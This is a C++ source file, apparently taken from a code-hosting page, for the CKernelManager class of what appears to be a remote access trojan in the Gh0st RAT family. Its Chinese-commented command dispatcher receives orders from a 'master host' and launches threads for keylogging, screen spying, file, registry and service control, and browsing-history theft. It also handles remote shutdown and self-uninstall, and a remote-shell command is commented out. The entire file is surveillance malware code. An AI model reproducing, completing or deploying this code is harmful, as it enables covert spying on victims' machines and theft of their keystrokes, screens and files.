92 lines
2.9 KiB
C++
92 lines
2.9 KiB
C++
// KernelManager.cpp: implementation of the CKernelManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#include "stdafx.h"
|
|
#include "KernelManager.h"
|
|
#include "Loop.h"
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Construction/Destruction
|
|
//////////////////////////////////////////////////////////////////////
|
|
char CKernelManager::m_strMasterHost[256] = { 0 };
|
|
UINT CKernelManager::m_nMasterPort = 80;
|
|
|
|
CKernelManager::CKernelManager(CClientSocket *pClient,
|
|
LPCSTR lpszMasterHost, UINT nMasterPort) : CManager(pClient)
|
|
{
|
|
if (lpszMasterHost != NULL)
|
|
strcpy(m_strMasterHost, lpszMasterHost);
|
|
|
|
m_nMasterPort = nMasterPort;
|
|
m_nThreadCount = 0;
|
|
}
|
|
|
|
CKernelManager::~CKernelManager()
|
|
{
|
|
for (UINT i = 0; i < m_nThreadCount; i++)
|
|
{
|
|
TerminateThread(m_hThread[i], -1);
|
|
CloseHandle(m_hThread[i]);
|
|
}
|
|
}
|
|
|
|
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
|
{
|
|
|
|
switch (lpBuffer[0])
|
|
{
|
|
case COMMAND_LIST_DRIVE: // 文件管理
|
|
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager,
|
|
(LPVOID)m_pClient->m_Socket, 0, NULL, false);
|
|
break;
|
|
case COMMAND_SCREEN_SPY: // 屏幕查看
|
|
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
|
|
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
|
|
break;
|
|
case COMMAND_SYSTEM://系统管理
|
|
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
|
|
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
|
break;
|
|
case COMMAND_KEYBOARD: //键盘记录
|
|
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
|
|
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
|
break;
|
|
// case COMMAND_SHELL: // 远程终端
|
|
// m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager,
|
|
// (LPVOID)m_pClient->m_Socket, 0, NULL, true);
|
|
// break;
|
|
case COMMAND_SERVICE_MANAGER://服务管理
|
|
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ServiceManager,
|
|
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
|
break;
|
|
case COMMAND_REGEDIT://注册表管理
|
|
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager,
|
|
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
|
break;
|
|
case COMMAND_URL_HISTORY://浏览记录
|
|
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_UrlManager,
|
|
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
|
break;
|
|
case COMMAND_MESSAGEBOX://弹窗
|
|
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_Messagebox,
|
|
(LPVOID)(lpBuffer + 1), 0, NULL, true);
|
|
break;
|
|
case COMMAND_CHANGE_GROUP://更改分组
|
|
SetHostID((LPCTSTR)(lpBuffer + 1), TRUE);
|
|
break;
|
|
case COMMAND_RENAME_REMARK://更改备注
|
|
SetHostID((LPCTSTR)(lpBuffer + 1), FALSE);
|
|
break;
|
|
case COMMAND_SESSION://会话管理
|
|
ShutdownWindows(lpBuffer[1]);
|
|
break;
|
|
case COMMAND_UNINSTALL://卸载主机
|
|
UninstallService();
|
|
break;
|
|
default:
|
|
break;
|
|
}
|
|
}
|
|
|
|
|